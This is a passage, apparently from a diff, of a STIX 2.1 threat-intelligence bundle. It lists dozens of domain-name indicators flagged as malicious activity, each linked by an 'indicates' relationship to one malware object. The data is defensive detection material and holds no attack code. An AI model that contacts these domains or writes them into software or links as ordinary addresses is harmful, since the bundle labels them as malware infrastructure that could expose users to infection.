"2023-04-11T17:02:46.104422Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e9763f8-8146-476e-8b10-52a3e97bf1b6", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--938e5055-d686-4334-a804-9b593e1755c1", + "created": "2023-04-11T17:02:46.104601Z", + "modified": "2023-04-11T17:02:46.104601Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sevensdfe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.104601Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e99c61e0-2c04-4c5e-a97c-4d3f6bc56582", + "created": "2023-04-11T17:02:46.105253Z", + "modified": "2023-04-11T17:02:46.105253Z", + "relationship_type": "indicates", + "source_ref": "indicator--938e5055-d686-4334-a804-9b593e1755c1", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d722793f-abce-405c-9fce-90565d9705e6", + "created": "2023-04-11T17:02:46.105434Z", + "modified": "2023-04-11T17:02:46.105434Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='datacentertime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.105434Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7003a26-691d-4808-88d9-7ee57665d10c", + "created": "2023-04-11T17:02:46.106066Z", + "modified": "2023-04-11T17:02:46.106066Z", + "relationship_type": "indicates", + "source_ref": "indicator--d722793f-abce-405c-9fce-90565d9705e6", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fe18a03d-bcab-4c6f-969c-e13f0a4511a6", + "created": "2023-04-11T17:02:46.106244Z", + "modified": "2023-04-11T17:02:46.106244Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='furiamoc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.106244Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--24a08d25-b60b-4fe8-9caf-4e80fef5a8e4", + "created": "2023-04-11T17:02:46.106947Z", + "modified": "2023-04-11T17:02:46.106947Z", + "relationship_type": "indicates", + "source_ref": "indicator--fe18a03d-bcab-4c6f-969c-e13f0a4511a6", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d4e46be-5781-4056-bf13-d04e622e0ee1", + "created": "2023-04-11T17:02:46.107135Z", + "modified": "2023-04-11T17:02:46.107135Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foundurycolletive.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.107135Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e757f5f5-7fc2-4644-8fd0-bac117483b89", + "created": "2023-04-11T17:02:46.107905Z", + "modified": "2023-04-11T17:02:46.107905Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d4e46be-5781-4056-bf13-d04e622e0ee1", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ea8370f-6eb5-45b0-b268-70c272808fb8", + "created": "2023-04-11T17:02:46.108091Z", + "modified": "2023-04-11T17:02:46.108091Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kikocruize.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.108091Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a17c69d-984d-47e8-9647-92ee05c09498", + "created": "2023-04-11T17:02:46.108722Z", + "modified": "2023-04-11T17:02:46.108722Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ea8370f-6eb5-45b0-b268-70c272808fb8", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d671d15d-088b-4004-a4ca-6becbddef3fc", + "created": "2023-04-11T17:02:46.108899Z", + "modified": "2023-04-11T17:02:46.108899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='digital-mar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.108899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de9a9f42-0a18-4d91-b675-2d8f48cd8104", + "created": "2023-04-11T17:02:46.109528Z", + "modified": "2023-04-11T17:02:46.109528Z", + "relationship_type": "indicates", + "source_ref": "indicator--d671d15d-088b-4004-a4ca-6becbddef3fc", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d7dde32-4507-4589-a95a-2d9b6159baa9", + "created": "2023-04-11T17:02:46.109706Z", + "modified": "2023-04-11T17:02:46.109706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='careers4ad.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.109706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17f66538-1137-4011-8f9b-62d25bee1bdb", + "created": "2023-04-11T17:02:46.110413Z", + "modified": "2023-04-11T17:02:46.110413Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d7dde32-4507-4589-a95a-2d9b6159baa9", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cdb5faa4-9cde-4b07-97d3-42b755e15581", + "created": "2023-04-11T17:02:46.110596Z", + "modified": "2023-04-11T17:02:46.110596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eccocredit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.110596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d15f89d-25fe-41c8-baac-23dca021085b", + "created": "2023-04-11T17:02:46.111234Z", + "modified": "2023-04-11T17:02:46.111234Z", + "relationship_type": "indicates", + "source_ref": "indicator--cdb5faa4-9cde-4b07-97d3-42b755e15581", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--740ba735-37b6-40e3-a35c-c10c1e64723a", + "created": "2023-04-11T17:02:46.111413Z", + "modified": "2023-04-11T17:02:46.111413Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thegreenlight.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.111413Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c4a74ca-b004-4d54-9c6f-ede515892f07", + "created": "2023-04-11T17:02:46.112046Z", + "modified": "2023-04-11T17:02:46.112046Z", + "relationship_type": "indicates", + "source_ref": "indicator--740ba735-37b6-40e3-a35c-c10c1e64723a", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b26acbf-e8d9-4c16-b941-3f55931fdc62", + "created": "2023-04-11T17:02:46.112223Z", + "modified": "2023-04-11T17:02:46.112223Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mikontravels.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.112223Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c23b561-775e-4538-a61f-2702b4cf95d4", + "created": "2023-04-11T17:02:46.112858Z", + "modified": "2023-04-11T17:02:46.112858Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b26acbf-e8d9-4c16-b941-3f55931fdc62", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86b3f650-f01c-4c28-ae9e-2e2e4e2b6f29", + "created": "2023-04-11T17:02:46.113041Z", + "modified": "2023-04-11T17:02:46.113041Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='studyshifts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.113041Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c74630aa-6707-480a-89f1-9b66cb2bfde7", + "created": "2023-04-11T17:02:46.113675Z", + "modified": "2023-04-11T17:02:46.113675Z", + "relationship_type": "indicates", + "source_ref": "indicator--86b3f650-f01c-4c28-ae9e-2e2e4e2b6f29", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54192149-6aef-486a-aba9-93bb30d9f590", + "created": "2023-04-11T17:02:46.113853Z", + "modified": "2023-04-11T17:02:46.113853Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='transformaition.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.113853Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9df364a-770b-487b-a1cf-d7ccac2b278e", + "created": "2023-04-11T17:02:46.114504Z", + "modified": "2023-04-11T17:02:46.114504Z", + "relationship_type": "indicates", + "source_ref": "indicator--54192149-6aef-486a-aba9-93bb30d9f590", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f644d69a-4062-4d4d-9a65-08df77b3657e", + "created": "2023-04-11T17:02:46.114684Z", + "modified": "2023-04-11T17:02:46.114684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timeeforsports.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.114684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e867a6dc-bc93-4902-8ba5-2d22ca938a1a", + "created": "2023-04-11T17:02:46.115445Z", + "modified": "2023-04-11T17:02:46.115445Z", + "relationship_type": "indicates", + "source_ref": "indicator--f644d69a-4062-4d4d-9a65-08df77b3657e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--195ff0a5-a80e-4102-9253-9dcbe4d21f8e", + "created": "2023-04-11T17:02:46.11563Z", + "modified": "2023-04-11T17:02:46.11563Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='luxario.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.11563Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--164a8a60-55ce-4e39-a17a-3ee9bbbbf8d6", + "created": "2023-04-11T17:02:46.11633Z", + "modified": "2023-04-11T17:02:46.11633Z", + "relationship_type": "indicates", + "source_ref": "indicator--195ff0a5-a80e-4102-9253-9dcbe4d21f8e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e80ff9b-ecc3-4104-84fd-dbeaacc6b253", + "created": "2023-04-11T17:02:46.11651Z", + "modified": "2023-04-11T17:02:46.11651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hoteluxurysm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.11651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de36499c-8066-4279-b87d-ad2b12fc94c9", + "created": "2023-04-11T17:02:46.117145Z", + "modified": "2023-04-11T17:02:46.117145Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e80ff9b-ecc3-4104-84fd-dbeaacc6b253", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5c1f234d-2c1b-4366-bf72-b12104280c0a", + "created": "2023-04-11T17:02:46.117325Z", + "modified": "2023-04-11T17:02:46.117325Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thenewsfill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.117325Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4ee56df-3962-4c2e-9005-754f6a678d52", + "created": "2023-04-11T17:02:46.11795Z", + "modified": "2023-04-11T17:02:46.11795Z", + "relationship_type": "indicates", + "source_ref": "indicator--5c1f234d-2c1b-4366-bf72-b12104280c0a", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8dbce60c-2015-4a17-9037-a475f1b141d7", + "created": "2023-04-11T17:02:46.118128Z", + "modified": "2023-04-11T17:02:46.118128Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aniarchit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.118128Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--317dd17e-c7bf-4b88-a073-3e80d05020cb", + "created": "2023-04-11T17:02:46.118752Z", + "modified": "2023-04-11T17:02:46.118752Z", + "relationship_type": "indicates", + "source_ref": "indicator--8dbce60c-2015-4a17-9037-a475f1b141d7", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d82d01cd-2261-4ce7-9712-e44bc57eae6b", + "created": "2023-04-11T17:02:46.11893Z", + "modified": "2023-04-11T17:02:46.11893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fullstorelife.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.11893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3276c740-fab8-46a7-b4fb-c19ff03282c2", + "created": "2023-04-11T17:02:46.119566Z", + "modified": "2023-04-11T17:02:46.119566Z", + "relationship_type": "indicates", + "source_ref": "indicator--d82d01cd-2261-4ce7-9712-e44bc57eae6b", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ca705fe-638f-44ad-83f1-59100a5ad4ea", + "created": "2023-04-11T17:02:46.119744Z", + "modified": "2023-04-11T17:02:46.119744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gosport24.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.119744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d3c504a-fca4-4424-840a-6ce15626e0e7", + "created": "2023-04-11T17:02:46.12047Z", + "modified": "2023-04-11T17:02:46.12047Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ca705fe-638f-44ad-83f1-59100a5ad4ea", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36dd81c7-28e8-4452-a519-738d0c592719", + "created": "2023-04-11T17:02:46.120652Z", + "modified": "2023-04-11T17:02:46.120652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='localtallk.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.120652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef8c25a4-91e7-4070-95b1-6be56d12b3e1", + "created": "2023-04-11T17:02:46.121284Z", + "modified": "2023-04-11T17:02:46.121284Z", + "relationship_type": "indicates", + "source_ref": "indicator--36dd81c7-28e8-4452-a519-738d0c592719", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f675d633-6182-4ee0-9330-c9a6d2f739fe", + "created": "2023-04-11T17:02:46.121467Z", + "modified": "2023-04-11T17:02:46.121467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linestrip.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.121467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e20031bc-6406-4a09-94d9-52e075df07a6", + "created": "2023-04-11T17:02:46.122096Z", + "modified": "2023-04-11T17:02:46.122096Z", + "relationship_type": "indicates", + "source_ref": "indicator--f675d633-6182-4ee0-9330-c9a6d2f739fe", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3242a649-6de8-471a-9ea2-373eb09a3ba0", + "created": "2023-04-11T17:02:46.122274Z", + "modified": "2023-04-11T17:02:46.122274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nordmanetime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.122274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5ff282e4-7aca-4a91-aa88-ff0924e547ac", + "created": "2023-04-11T17:02:46.123016Z", + "modified": "2023-04-11T17:02:46.123016Z", + "relationship_type": "indicates", + "source_ref": "indicator--3242a649-6de8-471a-9ea2-373eb09a3ba0", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fabc593-8fb7-451e-84b6-a2215ad37728", + "created": "2023-04-11T17:02:46.123204Z", + "modified": "2023-04-11T17:02:46.123204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recover-your-body.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.123204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca3423ea-43d1-41ef-8d3a-6c52f9991ab2", + "created": "2023-04-11T17:02:46.123911Z", + "modified": "2023-04-11T17:02:46.123911Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fabc593-8fb7-451e-84b6-a2215ad37728", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2611cd76-c8a0-4904-a21c-c8cad7c80980", + "created": "2023-04-11T17:02:46.124119Z", + "modified": "2023-04-11T17:02:46.124119Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bgnews-bg.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.124119Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dbeb79e0-0227-4b36-afc9-b9d261b633ac", + "created": "2023-04-11T17:02:46.124773Z", + "modified": "2023-04-11T17:02:46.124773Z", + "relationship_type": "indicates", + "source_ref": "indicator--2611cd76-c8a0-4904-a21c-c8cad7c80980", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b409694a-4c77-489c-8479-0158351d554a", + "created": "2023-04-11T17:02:46.124955Z", + "modified": "2023-04-11T17:02:46.124955Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zooloow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.124955Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b984c737-f3b7-4267-b423-af438ccdb3fa", + "created": "2023-04-11T17:02:46.125577Z", + "modified": "2023-04-11T17:02:46.125577Z", + "relationship_type": "indicates", + "source_ref": "indicator--b409694a-4c77-489c-8479-0158351d554a", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--adb7ba57-fdc4-4b13-9bf2-d2e0b647c039", + "created": "2023-04-11T17:02:46.125755Z", + "modified": "2023-04-11T17:02:46.125755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='planningly.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.125755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f87e4b3-7da7-459a-92ca-ac42ea85d14a", + "created": "2023-04-11T17:02:46.126375Z", + "modified": "2023-04-11T17:02:46.126375Z", + "relationship_type": "indicates", + "source_ref": "indicator--adb7ba57-fdc4-4b13-9bf2-d2e0b647c039", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--175799ba-1804-4541-b415-40202f6e84f2", + "created": "2023-04-11T17:02:46.126552Z", + "modified": "2023-04-11T17:02:46.126552Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='globepayinfo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.126552Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41d04d6e-891c-4bdb-93f9-50594e160fc7", + "created": "2023-04-11T17:02:46.127248Z", + "modified": "2023-04-11T17:02:46.127248Z", + "relationship_type": "indicates", + "source_ref": "indicator--175799ba-1804-4541-b415-40202f6e84f2", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--db439f77-e693-4c7a-a316-b28741c40e09", + "created": "2023-04-11T17:02:46.127431Z", + "modified": "2023-04-11T17:02:46.127431Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestteamlife.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.127431Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dde2ea18-ca0f-4dd4-8f38-b11eccbf3b7d", + "created": "2023-04-11T17:02:46.128071Z", + "modified": "2023-04-11T17:02:46.128071Z", + "relationship_type": "indicates", + "source_ref": "indicator--db439f77-e693-4c7a-a316-b28741c40e09", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ffe4b6b-f08a-4571-83a8-872c6f2f64ed", + "created": "2023-04-11T17:02:46.12825Z", + "modified": "2023-04-11T17:02:46.12825Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sseamb.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.12825Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--999975b5-dcfc-428c-9010-c51f892e5281", + "created": "2023-04-11T17:02:46.128871Z", + "modified": "2023-04-11T17:02:46.128871Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ffe4b6b-f08a-4571-83a8-872c6f2f64ed", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3833a038-4add-45c3-8342-eafd466b3deb", + "created": "2023-04-11T17:02:46.129048Z", + "modified": "2023-04-11T17:02:46.129048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shoeszise.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.129048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4164079c-1cee-431a-b2c3-680fc87a73ef", + "created": "2023-04-11T17:02:46.129669Z", + "modified": "2023-04-11T17:02:46.129669Z", + "relationship_type": "indicates", + "source_ref": "indicator--3833a038-4add-45c3-8342-eafd466b3deb", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c0b5858-757f-4353-8869-ad50a6d1007e", + "created": "2023-04-11T17:02:46.129851Z", + "modified": "2023-04-11T17:02:46.129851Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='designspacing.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.129851Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4fb3be09-d179-467d-87bd-1941ab845fa0", + "created": "2023-04-11T17:02:46.130941Z", + "modified": "2023-04-11T17:02:46.130941Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c0b5858-757f-4353-8869-ad50a6d1007e", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38246760-1667-4bfc-b49c-6e91acfc54c1", + "created": "2023-04-11T17:02:46.131137Z", + "modified": "2023-04-11T17:02:46.131137Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='naturemeter.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.131137Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01ad8179-1c61-44b9-9b90-dfc40ec9985e", + "created": "2023-04-11T17:02:46.131768Z", + "modified": "2023-04-11T17:02:46.131768Z", + "relationship_type": "indicates", + "source_ref": "indicator--38246760-1667-4bfc-b49c-6e91acfc54c1", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c670884f-c048-4d38-b2e4-28b9ff44cc22", + "created": "2023-04-11T17:02:46.131947Z", + "modified": "2023-04-11T17:02:46.131947Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='addictmetui.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.131947Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a09c48b0-c1c6-4112-ba29-9de77843fb4a", + "created": "2023-04-11T17:02:46.132573Z", + "modified": "2023-04-11T17:02:46.132573Z", + "relationship_type": "indicates", + "source_ref": "indicator--c670884f-c048-4d38-b2e4-28b9ff44cc22", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d5ca4282-3feb-4603-91bd-c4614b42c343", + "created": "2023-04-11T17:02:46.132752Z", + "modified": "2023-04-11T17:02:46.132752Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='classiccolor.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.132752Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f1e3e74-4375-4211-af6c-ed7a74eeb190", + "created": "2023-04-11T17:02:46.133404Z", + "modified": "2023-04-11T17:02:46.133404Z", + "relationship_type": "indicates", + "source_ref": "indicator--d5ca4282-3feb-4603-91bd-c4614b42c343", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93f7f267-f23d-4ac3-b998-8318d5d0d651", + "created": "2023-04-11T17:02:46.133587Z", + "modified": "2023-04-11T17:02:46.133587Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zebra-arts.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.133587Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1eb05dfd-a183-448c-ade0-f7f91bd59887", + "created": "2023-04-11T17:02:46.134213Z", + "modified": "2023-04-11T17:02:46.134213Z", + "relationship_type": "indicates", + "source_ref": "indicator--93f7f267-f23d-4ac3-b998-8318d5d0d651", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2da02bc9-a6ae-4ab3-92cb-2b6adf2f2bac", + "created": "2023-04-11T17:02:46.134391Z", + "modified": "2023-04-11T17:02:46.134391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shoplifys.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.134391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aaa0c425-16f4-47f6-a71d-6c9af429fc44", + "created": "2023-04-11T17:02:46.135016Z", + "modified": "2023-04-11T17:02:46.135016Z", + "relationship_type": "indicates", + "source_ref": "indicator--2da02bc9-a6ae-4ab3-92cb-2b6adf2f2bac", + "target_ref": "malware--050850f8-c1b4-4c81-a9f5-1bc0c55621df" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2291ff2-8bcc-4321-8416-676103eafe91", + "created": "2023-04-11T17:02:46.13521Z", + "modified": "2023-04-11T17:02:46.13521Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='climatestews.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-04-11T17:02:46.13521Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03eebba9-82b4-437f-b964-d3bdc29d4fb8", + "created": 